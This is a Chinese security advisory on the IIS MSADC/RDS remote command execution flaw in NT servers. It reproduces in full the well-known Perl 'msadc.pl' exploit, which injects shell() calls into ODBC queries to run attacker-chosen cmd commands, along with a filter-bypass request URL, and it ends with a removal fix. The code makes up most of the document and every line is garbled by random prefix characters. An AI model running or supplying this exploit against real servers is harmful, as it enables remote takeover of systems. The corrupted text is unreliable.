IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
J L9d&7- ZHs hg`I` 涉及程序：
Te8BFcJG Microsoft NT server
id-VoHd K Hr$oT=x[ 描述：
MGO.dRy_ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
c#G]3vTdE n(Up?_ 详细：
$l&&y?() 如果你没有时间读详细内容的话，就删除:
tH:K6^oR c:\Program Files\Common Files\System\Msadc\msadcs.dll
}eX_p6bBw 有关的安全问题就没有了。
6[9E^{(z n/"T7Y\2 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
6Upg\( JXlFo3< 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
v`hv5w Q 关于利用ODBC远程漏洞的描述，请参看:
\ooq a<_ e^@/ Bm+B http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm W RAW%?$ (%>Sln5hq 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
9xg_M=72 http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2`* %NJ x~GV#c 这里不再论述。
ED/-,>[f Ar sMqb 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
34C
^vBp cLl fncI /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Krk Zv$u, 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Q ;P ~' &,Q{l$`X 71 tMX[x #将下面这段保存为txt文件，然后: "perl -x 文件名"
]tZ 5XS #{0DpSzE5 #!perl
81_3{OrE< #
Vk_*]wU # MSADC/RDS 'usage' (aka exploit) script
|Z;w k& #
L\og`L)5\ # by rain.forest.puppy
2vnzB8 "k #
FGx_ qBG4| # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
4Uf+t?U9 # beta test and find errors!
G
7)D+],{Y v%< _Mh use Socket; use Getopt::Std;
( W/jkm getopts("e:vd:h:XR", \%args);
#|XEBOmsQ >V(2Ke Y print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ke>\.|HT} Gx ZQ{
\ if (!defined $args{h} && !defined $args{R}) {
*vhm print qq~
tL+8nTL Usage: msadc.pl -h <host> { -d <delay> -X -v }
RQ,(?I*8\ -h <host> = host you want to scan (ip or domain)
>`NY[Mn -d <seconds> = delay between calls, default 1 second
!E_uQ?/w]Z -X = dump Index Server path table, if available
z K8#gif@ -v = verbose
oz5o=gt7 -e = external dictionary file for step 5
LO61J_J< ~v>w%] Or a -R will resume a command session
YY!(/< VI (&MSP ~; exit;}
:e@JESlLf 8VcAtrx_ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
R~*Y@_oD if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
r-YQsu& if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Vd<=
y if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
[bPE?_a, $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
J-PzI FWd if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
eZHz o <Awx:lw. if (!defined $args{R}){ $ret = &has_msadc;
0K3FH&.% die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
($(1KE *vAOUqX`x print "Please type the NT commandline you want to run (cmd /c assumed):\n"
g&0 GO:F` . "cmd /c ";
-N\{QX1 Yd $in=<STDIN>; chomp $in;
K[sM)_I $command="cmd /c " . $in ;
?XOeMI T %a]3 if (defined $args{R}) {&load; exit;}
2Bjp{)* 'fA D Dh} print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
a3c4#'c|D &try_btcustmr;
9_>4~!x` g[M@ print "\nStep 2: Trying to make our own DSN...";
T4!]^_t^ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
NuO>zAu qfYb\b print "\nStep 3: Trying known DSNs...";
<Z8] W1) &known_dsn;
hTG
d Uw] pO+1?c43 print "\nStep 4: Trying known .mdbs...";
$g$`fR) &known_mdb;
3+|6])Hi1 uBE,z>/,; if (defined $args{e}){
pV("NJj! print "\nStep 5: Trying dictionary of DSN names...";
J$I1 *~I4v &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
`u>BtAx8 @J<B^_+Se print "Sorry Charley...maybe next time?\n";
mTP.W#N exit;
[d&Faa[` Fcr@Un' ##############################################################################
f d,~Yj$R? a+~o: 5 sub sendraw { # ripped and modded from whisker
l wg.'< sleep($delay); # it's a DoS on the server! At least on mine...
;W+-x] O my ($pstr)=@_;
Z],"<[E socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
_5 m }g! die("Socket problems\n");
8&UuwZ6i- if(connect(S,pack "SnA4x8",2,80,$target)){
ai ` :HhE select(S); $|=1;
=!CuCV7$1O print $pstr; my @in=<S>;
2 @&|hd=- select(STDOUT); close(S);
nIi_4=Z
return @in;
F>b6fUtR } else { die("Can't connect...\n"); }}
Uqpvj90sw 0&nF Vsz ##############################################################################
654%X(:q ppnj.tLz;r sub make_header { # make the HTTP request
,?d%&3z<a my $msadc=<<EOT
8_,ZJ9 l ; POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
V[xy9L[# User-Agent: ACTIVEDATA
}[DAk~ Host: $ip
R]Yhuo9,&n Content-Length: $clen
A zle ;\l` Connection: Keep-Alive
}1W$9 \% 5?fk;Q9+\ ADCClientVersion:01.06
>@L
HJ61C Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
a2 rv4d= =0)^![y]v --!ADM!ROX!YOUR!WORLD!
xqtjtH9X Content-Type: application/x-varg
XGoy#h Content-Length: $reqlen
" /'= gE L,D>E EOT
/r%+hS ; $msadc=~s/\n/\r\n/g;
\O:xw-eG
return $msadc;}
+-nQ,
fOV ,pASjFWi ##############################################################################
pi G1&* Ji!-G4.n" sub make_req { # make the RDS request
1%@~J \qF my ($switch, $p1, $p2)=@_;
tQ~B!j] my $req=""; my $t1, $t2, $query, $dsn;
~ 9;GD4 % *G)*n if ($switch==1){ # this is the btcustmr.mdb query
lewDR"0Kx $query="Select * from Customers where City=" . make_shell();
'AAY!{> $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
f5a] (& $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Fq9[: 9vbh5xX
elsif ($switch==2){ # this is general make table query
7xc<vl#:q7 $query="create table AZZ (B int, C varchar(10))";
Xdq,
=; $dsn="$p1";}
*YtNt 5u B~NC elsif ($switch==3){ # this is general exploit table query
:z\f.+MI $query="select * from AZZ where C=" . make_shell();
CN=&Je%I $dsn="$p1";}
~ tLR Vw*x3>` elsif ($switch==4){ # attempt to hork file info from index server
Ax0,7,8y $query="select path from scope()";
h0
Sf=[>z $dsn="Provider=MSIDXS;";}
*mQit/ k. ' m cJ/9)v elsif ($switch==5){ # bad query
|u{Q I3#' $query="select";
+mA=%? l $dsn="$p1";}
4 B] 61|A C P#79=1 $t1= make_unicode($query);
eC$v0Gtq $t2= make_unicode($dsn);
S>,I&`yi $req = "\x02\x00\x03\x00";
&FrB6 y $req.= "\x08\x00" . pack ("S1", length($t1));
9 ^ r $req.= "\x00\x00" . $t1 ;
~&} O|B() $req.= "\x08\x00" . pack ("S1", length($t2));
2f!oA~|2 $req.= "\x00\x00" . $t2 ;
YP<]f>SBt $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
~qS/90 , return $req;}
jEsTw_ MQ*#oVqv ##############################################################################
D H
!Br +*J4q5;E[? sub make_shell { # this makes the shell() statement
c2^7"` return "'|shell(\"$command\")|'";}
OkZ! ZS
h pD# "8h ##############################################################################
doc XX-T", sub make_unicode { # quick little function to convert to unicode
.e"Qv*[^ my ($in)=@_; my $out;
(g m^o{ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
X^Y9T`mQ } return $out;}
pC mJY {{3H\
r R ##############################################################################
wP/9z(US RC(D=6+[C sub rdo_success { # checks for RDO return success (this is kludge)
4QFOO
sNp my (@in) = @_; my $base=content_start(@in);
pU ]{Z( if($in[$base]=~/multipart\/mixed/){
3~</lAm; return 1 if( $in[$base+10]=~/^\x09\x00/ );}
%5*#c*)R return 0;}
> bF!Y]H <S$21NtM87 ##############################################################################
{0e{!v ~It+|X=K x sub make_dsn { # this makes a DSN for us
M:M>@|) my @drives=("c","d","e","f");
A{2$hKqHi print "\nMaking DSN: ";
dCP Tpm foreach $drive (@drives) {
s7 o*|Xv print "$drive: ";
#`4^zU) my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
t4@g;U?o "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
6\ V u# r . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
MNqyEc"" $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
g
u =fq\` return 0 if $2 eq "404"; # not found/doesn't exist
\hW73a! if($2 eq "200") {
]z U<=b@ foreach $line (@results) {
Sqf.#}u<= return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
KN:dm!A } return 0;}
:EwA$`/ %_MR.J+m2 ##############################################################################
yl<$yd0Zdu }AW)R&m sub verify_exists {
}pn FJ my ($page)=@_;
xqWrW) my @results=sendraw("GET $page HTTP/1.0\n\n");
,?<h] !aQ return $results[0];}
m]d6 @"Z. W lQ=CRY ##############################################################################
Kw0V4UF 0~b6wuFl sub try_btcustmr {
e K1m(E.= my @drives=("c","d","e","f");
pE/3-0;}N my @dirs=("winnt","winnt35","winnt351","win","windows");
d4>-a^)V 8ex:OTzn| foreach $dir (@dirs) {
rg^\BUa-W, print "$dir -> "; # fun status so you can see progress
4VJzs$ foreach $drive (@drives) {
}r~l7 2
` print "$drive: "; # ditto
7Y|>xx=v $reqlen=length( make_req(1,$drive,$dir) ) - 28;
$a* Q).^ $reqlenlen=length( "$reqlen" );
jfP J5]Z $clen= 206 + $reqlenlen + $reqlen;
bNjaCK< fC GDL6E my @results=sendraw(make_header() . make_req(1,$drive,$dir));
J5p!-N`NS if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
,35: Srf| else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
mUyv+n, sq(Ar(L< ##############################################################################
E'S;4B5? dU >R<jl!$ sub odbc_error {
liw 9:@+V my (@in)=@_; my $base;
+'j*WVE%5 my $base = content_start(@in);
OO\biYh o if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
tD7C 7m $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8^/Ek<Q b| $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ENXW#{N.v $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6a]f&={E return $in[$base+4].$in[$base+5].$in[$base+6];}
c w]>a&d print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
K'5sn|) print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
mz$Wo *F B $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
v#%>uLl V@n(v\F ##############################################################################
<fsn2[V:B% iC|6roO!jk sub verbose {
Ed&,[rC my ($in)=@_;
m)|.:sj return if !$verbose;
'"]>`=R print STDOUT "\n$in\n";}
0?Tk* X o% ^k T& ##############################################################################
}Q r0T _l!U[{l*d sub save {
)-?uX.E{ my ($p1, $p2, $p3, $p4)=@_;
J%f=A1Q open(OUT, ">rds.save") || print "Problem saving parameters...\n";
D*T$ v
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
v(@+6#& close OUT;}
S5E,f?l -=Eq/s u% ##############################################################################
&>zy_) [+MH[1Vr={ sub load {
U~#^ ^ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
N7$DRG/<b open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Z_V&IQo-7 @p=<IN>; close(IN);
o(X90X $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
O{ %A&Ui $target= inet_aton($ip) || die("inet_aton problems");
0]eh>ab> print "Resuming to $ip ...";
^,Y~M_= $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
G9'YgW+$7 if($p[1]==1) {
+ersP@G $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
k sOANLRN $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
w] 5U my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
fv j5[Q if (rdo_success(@results)){print "Success!\n";}
=O3I[ else { print "failed\n"; verbose(odbc_error(@results));}}
MY?O/,6 elsif ($p[1]==3){
\p@nH%@v if(run_query("$p[3]")){
}Cmj (k` ~ print "Success!\n";} else { print "failed\n"; }}
3
!> L? elsif ($p[1]==4){
0(U3~ k 6 if(run_query($drvst . "$p[3]")){
V>>) 7E:Q print "Success!\n"; } else { print "failed\n"; }}
Ca5Sc, no exit;}
}OP%p/eY Wr HgF*[ ##############################################################################
i_9Cc$Qh< 9B#)h)h(= sub create_table {
,LW(mdIe( my ($in)=@_;
s9_`Wrg? $reqlen=length( make_req(2,$in,"") ) - 28;
_]=TFz2O $reqlenlen=length( "$reqlen" );
cEdz;kbUM $clen= 206 + $reqlenlen + $reqlen;
@u"kX2>Eq my @results=sendraw(make_header() . make_req(2,$in,""));
C?/r}ly<\ return 1 if rdo_success(@results);
C;)Xwm>e my $temp= odbc_error(@results); verbose($temp);
c5iormb"# return 1 if $temp=~/Table 'AZZ' already exists/;
m.HX2(&\3 return 0;}
-@ UN]K J]|6l/i ##############################################################################
K.#,O+-Kg` fV A=<: sub known_dsn {
cFI7}#,5 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
liCCc;&B; my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
RQ*|+ ~H "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
!4 4mT'Y "banner", "banners", "ads", "ADCDemo", "ADCTest");
7S A-OFM TRySl5jx@ foreach $dSn (@dsns) {
, Y g5X print ".";
DX& lBV next if (!is_access("DSN=$dSn"));
@;m@Luk if(create_table("DSN=$dSn")){
&3 XFg Ho print "$dSn successful\n";
^T}}4I_Y if(run_query("DSN=$dSn")){
N'eQ>2>O@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
2sd ) w print "Something's borked. Use verbose next time\n";}}} print "\n";}
\'I t,PN 7}#*3*] ##############################################################################
y?*[}S W>q* .9}Y" sub is_access {
5I)~4.U|,m my ($in)=@_;
U+9- li $reqlen=length( make_req(5,$in,"") ) - 28;
j 1;_w $reqlenlen=length( "$reqlen" );
U!a!|s> $clen= 206 + $reqlenlen + $reqlen;
[U%ym{be ^ my @results=sendraw(make_header() . make_req(5,$in,""));
je- , S>U my $temp= odbc_error(@results);
@Hspg^ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
F=
_uNq return 0;}
IFC%%I t5, 0.J1!RIK/ ##############################################################################
{FV,j.D vB{; N
sub run_query {
VVI8)h8 my ($in)=@_;
fW5" 4, $reqlen=length( make_req(3,$in,"") ) - 28;
!7mvyc!'! $reqlenlen=length( "$reqlen" );
k\+y4F8$x $clen= 206 + $reqlenlen + $reqlen;
u@=+#q~/P my @results=sendraw(make_header() . make_req(3,$in,""));
Rm,[D)D^0N return 1 if rdo_success(@results);
_XY`UZ my $temp= odbc_error(@results); verbose($temp);
P<cMP)+K return 0;}
,<0Rf RI[ 7M ( ##############################################################################
}J+ ce %jbJ6c sub known_mdb {
)){PBT}t] my @drives=("c","d","e","f","g");
&jXca| wAR my @dirs=("winnt","winnt35","winnt351","win","windows");
629~Uc6] my $dir, $drive, $mdb;
9atjK4+o my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
;xW8Z<\- GZ/pz+)i& # this is sparse, because I don't know of many
?Kx6Sf<i my @sysmdbs=( "\\catroot\\icatalog.mdb",
95.qAFB1 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
c W81 "\\system32\\certmdb.mdb",
R/ ALR "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
z9k *1: g:3d< CS my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
msA' 5> "\\cfusion\\cfapps\\forums\\forums_.mdb",
ShL1'Z} ^{ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
X[GIOPDx "\\cfusion\\cfapps\\security\\realm_.mdb",
86;+r'3p. "\\cfusion\\cfapps\\security\\data\\realm.mdb",
G*P[z'K= "\\cfusion\\database\\cfexamples.mdb",
h .4qlx| "\\cfusion\\database\\cfsnippets.mdb",
ysSjc "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
qy7hkq.uX "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
fbh6Ls/ "\\cfusion\\brighttiger\\database\\cleam.mdb",
olD@W
UB "\\cfusion\\database\\smpolicy.mdb",
l?[{?L uq "\\cfusion\\database\cypress.mdb",
f
p v= P "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
JYZ2k=zh "\\website\\cgi-win\\dbsample.mdb",
8BYIxHHz "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
.Dgo Oo%?" "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
e={k.y }x} ); #these are just
yPf?"W foreach $drive (@drives) {
! 6p>P4TT foreach $dir (@dirs){
o| z+ !, foreach $mdb (@sysmdbs) {
^?$D .^g print ".";
& cM
u/ } if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
c8^+^.=pX print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
tyc8{t#Z if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
WW@JVZxK print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
b\SXZN)Be } else { print "Something's borked. Use verbose next time\n"; }}}}}
{ c v;w 6V'wQqJ foreach $drive (@drives) {
QRsqPh&- foreach $mdb (@mdbs) {
;Ri 3#*a= print ".";
~v.jZ/h if(create_table($drv . $drive . $dir . $mdb)){
~mN g[] print "\n" . $drive . $dir . $mdb . " successful\n";
?ada>"~GR_ if(run_query($drv . $drive . $dir . $mdb)){
@+}rEe_( print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
JfI aOhKs] } else { print "Something's borked. Use verbose next time\n"; }}}}
. o-0aBG }
C/mg46
v2W @rPI$i a1~ ##############################################################################
I#i?** e%PC e9 sub hork_idx {
*hv=~A
$q print "\nAttempting to dump Index Server tables...\n";
_ oQtk^fp print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
=} ~NRmmF $reqlen=length( make_req(4,"","") ) - 28;
^7i^ \w0 $reqlenlen=length( "$reqlen" );
$cRc ap $clen= 206 + $reqlenlen + $reqlen;
[ Z#+gh my @results=sendraw2(make_header() . make_req(4,"",""));
Of1IdE6~ if (rdo_success(@results)){
pBl Rd{#fL my $max=@results; my $c; my %d;
(3e;"' k for($c=19; $c<$max; $c++){
,]0S4h67 $results[$c]=~s/\x00//g;
fm3(70F\ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
8 # 6\+R $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
^36M0h|R $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
VYL@RL' $d{"$1$2"}="";}
6P0y-%[Gk foreach $c (keys %d){ print "$c\n"; }
c Dfx)sL } else {print "Index server doesn't seem to be installed.\n"; }}
LiiK3!^i 4st~3,lR$ ##############################################################################
t{+ M|Y R
^HohB sub dsn_dict {
77+| #< J open(IN, "<$args{e}") || die("Can't open external dictionary\n");
] b}B~jD while(<IN>){
CkRyzF $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
[?;`x&y~y next if (!is_access("DSN=$dSn"));
TcR=GR*cJ if(create_table("DSN=$dSn")){
X7e>Z)l print "$dSn successful\n";
qIB>6bv#x if(run_query("DSN=$dSn")){
x$~3$E print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
&foD& print "Something's borked. Use verbose next time\n";}}}
MinbE13?U print "\n"; close(IN);}
IeO-O'^&` =Nw2;TkB[ ##############################################################################
`2>XH:+7F
`>%- sub sendraw2 { # ripped and modded from whisker
0LS -i% 0 sleep($delay); # it's a DoS on the server! At least on mine...
N2ni3M5v my ($pstr)=@_;
%,33gZzf socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
E|Q{]&$;Z" die("Socket problems\n");
S
<2}8D if(connect(S,pack "SnA4x8",2,80,$target)){
AnR lH print "Connected. Getting data";
_o\>V:IZ open(OUT,">raw.out"); my @in;
KA`0g= select(S); $|=1; print $pstr;
xcHen/4X while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
D0f*eSXE{ close(OUT); select(STDOUT); close(S); return @in;
a@Mq J=<L } else { die("Can't connect...\n"); }}
`+oV/:Q3 `GP Q((la ##############################################################################
- &@]M>r@ IDj_l+?c sub content_start { # this will take in the server headers
p`\3if' my (@in)=@_; my $c;
cvhlRI%6 for ($c=1;$c<500;$c++) {
g8KY`MBnC& if($in[$c] =~/^\x0d\x0a/){
,g %o if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
w- r_H!- else { return $c+1; }}}
Ft3I>=f{ return -1;} # it should never get here actually
BlL|s=dlQV w2k<)3 g~ ##############################################################################
-<xyC8 $^$ :MK=h;5Z sub funky {
B# 1:Y;Z my (@in)=@_; my $error=odbc_error(@in);
" <qEXX if($error=~/ADO could not find the specified provider/){
hX NH"0VCV print "\nServer returned an ADO miscofiguration message\nAborting.\n";
RV}GK
L>gn exit;}
;{Xy`{Cg! if($error=~/A Handler is required/){
F{;;
: print "\nServer has custom handler filters (they most likely are patched)\n";
Ky *DfQA exit;}
4ffU;6~l' if($error=~/specified Handler has denied Access/){
~xw5\Y^ print "\nServer has custom handler filters (they most likely are patched)\n";
,`y yR:F exit;}}
4b]_
#7Qm Yhe+u\vGs\ ##############################################################################
" 2 %>M 6eM 6[ sub has_msadc {
#^Ys{ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
^/k , my $base=content_start(@results);
z9 O~W5-U return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
O)O Uy return 0;}
z /we it _$8{;1$T? ########################
8qN "3 Et V>B'+b +< m*`cuSU|o 解决方案：
4\\.n 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
i =-8@ 2、移除web 目录: /msadc
